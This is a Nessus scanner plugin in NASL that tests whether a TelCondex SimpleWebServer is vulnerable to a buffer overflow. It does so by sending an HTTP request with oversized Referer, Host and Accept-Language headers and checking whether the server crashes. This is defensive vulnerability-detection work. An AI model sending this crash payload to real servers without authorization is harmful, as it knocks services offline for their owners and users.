home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / telcondex.nasl < prev    next >
Text File  |  2005-03-31  |  1KB  |  54 lines

  1. if(description) 
  2.     script_id(11927); 
  3.     script_bugtraq_id(8925);
  4.         script_version("$Revision: 1.4 $"); 
  5.       
  6.     name["english"] = "TelCondex Simple Webserver Buffer Overflow"; 
  7.         
  8.       script_name(english:name["english"]); 
  9.  
  10.       desc["english"] = "The TelCondex SimpleWebserver is vulnerable to a remote executable buffer overflow, due to 
  11. missing length check on the referer-variable of the HTTP-header.
  12.         
  13. Solution: Upgrade version 2.13 http://www.yourinfosystem.de/download/TcSimpleWebServer2000Setup.exe
  14.          
  15. Risk factor : High"; 
  16.         
  17.       script_description(english:desc["english"]); 
  18.         
  19.       summary["english"] = "Checks for TelCondex Buffer Overflow";
  20.     script_summary(english:summary["english"]);
  21.     script_category(ACT_DENIAL);
  22.     script_copyright(english:"This script is Copyright (C) 2003 Matt North");
  23.  
  24.     family["english"] = "Denial of Service";
  25.     script_family(english:family["english"]);
  26.     
  27.     script_dependencie("find_service.nes");
  28.     script_require_ports("Services/www", 80);
  29.     exit(0);
  30. }
  31.  
  32. include("http_func.inc");
  33.  
  34. port = get_http_port(default:80);
  35.  
  36. if(http_is_dead(port:port)) exit(0);
  37.  
  38.  
  39. s = string( "GET / HTTP/1.1\r\n", "Accept: */* \r\n" , "Referer:", crap(704), "\r\n", "Host:" , crap(704), "\r\n", "Accept-Language", 
  40.         crap(704), "\r\n\r\n" );
  41.  
  42. soc =  http_open_socket(port);
  43. if(!soc) exit(0);
  44.  
  45. send(socket: soc, data: s);
  46. r = http_recv(socket: soc);
  47. http_close_socket(soc);
  48.  
  49. if(http_is_dead(port: port)) {
  50.     security_hole(port);
  51. }
  52.  
  53.